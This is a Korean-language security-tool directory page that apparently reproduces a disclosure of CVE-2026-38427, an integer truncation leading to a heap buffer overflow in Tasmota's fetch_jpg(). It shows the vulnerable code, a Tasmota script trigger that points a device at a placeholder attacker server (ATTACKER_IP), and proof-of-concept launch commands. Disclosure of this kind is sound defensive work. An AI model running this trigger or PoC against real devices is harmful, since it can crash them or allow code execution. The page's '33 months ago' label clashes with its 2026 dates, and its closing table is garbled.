Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-38427 — CVE-2026-38427 — Tasmota fetch_jpg() uint16_t의 정수 랩어라운드 → 힙 버퍼 오버플로우 (Tasmota <= 15.3.0.3) | Kitploit
도구/GitHubGitHub/sermikr0/cve-2026-38427
Embedded Systems SecurityIoT SecurityVulnerability AnalysisExploitationPenetration TestingHardware & IoT SecurityBinary Exploitation
GitHubsermikr0/cve-2026-38427

CVE-2026-38427

CVE-2026-38427 — Tasmota fetch_jpg() uint16_t의 정수 랩어라운드 → 힙 버퍼 오버플로우 (Tasmota <= 15.3.0.3)

저장소 보기
33개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-38427: Tasmota fetch_jpg()의 정수 래핑 → 힙 버퍼 오버플로

CVE: CVE-2026-38427
심각도: 치명적 (CVSS 9.8)
제품: Arendst Tasmota
영향받는 버전: <= 15.3.0.3
파일: tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
함수: fetch_jpg() — case 2 (MJPEG 프레임 가져오기)
작성자: Saidakbarxon Maxsudxonov
공개: 책임 공개 — 게시 전에 Tasmota에 보고됨


요약

uint16_t 정수 래핑 취약점이 Tasmota의 스크립터 드라이버에 있는 fetch_jpg() 함수에 존재합니다. Tasmota 장치가 공격자가 제어하는 서버에서 MJPEG 프레임을 가져올 때, Content-Length 헤더 값이 atoi()를 통해 uint16_t 변수로 읽힙니다. 65535보다 큰 값은 조용히 래핑되어(예: 65537 → 1) 크게 축소된 힙 버퍼가 할당됩니다. 그런 다음 장치는 스트림에서 래핑된 바이트 수만 읽고 나머지는 스트림 버퍼에 남겨 두어 힙/스트림 상태 손상을 일으키며, 이로 인해 충돌(DoS) 또는 잠재적 원격 코드 실행이 발생할 수 있습니다.


취약한 코드

root@kitploit:~
// tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino

// Case 2: fetch next MJPEG frame
char inbuff[64];
stream.readBytesUntil('\n', inbuff, sizeof(inbuff));  // reads "Content-Length: 70000"
char *cp = strchr(inbuff, ':');
uint16_t size = 0;
if (cp) {
    size = atoi(cp + 1);   // atoi() returns int 70000
                            // IMPLICIT TRUNCATION: uint16_t = 70000 & 0xFFFF = 4464
}
uint8_t *buff = (uint8_t *)special_malloc(size);   // malloc(4464) — too small!
if (buff) {
    stream.readBytes(buff, size);                  // reads only 4464 bytes
                                                   // 65536 bytes remain in stream → corruption
}

정수 래핑 표


공격 시나리오

공격자는 악성 Tasmota 스크립트 또는 MITM을 통해 Tasmota 장치를 자신의 HTTP 서버에 연결하도록 만들 수 있으며, Content-Length 값이 65535를 초과하는 MJPEG 프레임을 보낼 수 있습니다. 장치는 다음을 수행합니다:

  1. 작은 버퍼(래핑된 값)를 할당합니다.
  2. 데이터의 일부만 읽습니다.
  3. 나머지 바이트가 HTTP/WiFi 스트림 상태를 손상시킵니다.
  4. 충돌하거나 정의되지 않은 동작을 보여 잠재적 RCE로 이어집니다.

Tasmota 스크립트를 통한 트리거:

root@kitploit:~
>D
>B
fetchjp(ATTACKER_IP:PORT/stream,0,0,1)
>1
=fetchjp(2,0,0,1)

개념 증명(PoC)

PoC는 악성 Content-Length 값을 가진 프레임을 전송하는 가짜 MJPEG HTTP 서버를 실행합니다:

root@kitploit:~
python3 CVE-2026-38427_poc.py --port 8889 --cl 65537
python3 CVE-2026-38427_poc.py --port 8889 --cl 131072

전체 구현은 CVE-2026-38427_poc.py를 참조하세요.


영향

  • 기밀성: 높음 (ESP32에서 RCE 가능)
  • 무결성: 높음
  • 가용성: 높음 (충돌/재부팅 보장)
  • 공격 경로: 네트워크
  • 인증: 필요 없음 (장치가 공격자 서버에 연결하도록 스크립팅되어야 함)

타임라인

  • 2026-03-29: 취약점 발견 및 MITRE에 보고됨
  • 2026-03-29: CVE-2026-38427 배정됨
  • 2026-05-xx: Tasmota에서 패치 출시 (v15.3.0.4+)

참고 자료

  • Tasmota GitHub
  • xdrv_10_scripter.ino
  • CVE-2026-38427
도구 다운로드
Content-Length (헤더)uint16_t 값할당된 버퍼읽지 않은 바이트
6553600 (건너뜀)65536
6553711 바이트65536
7000044644464 바이트65536
13107200 (건너뜀)131072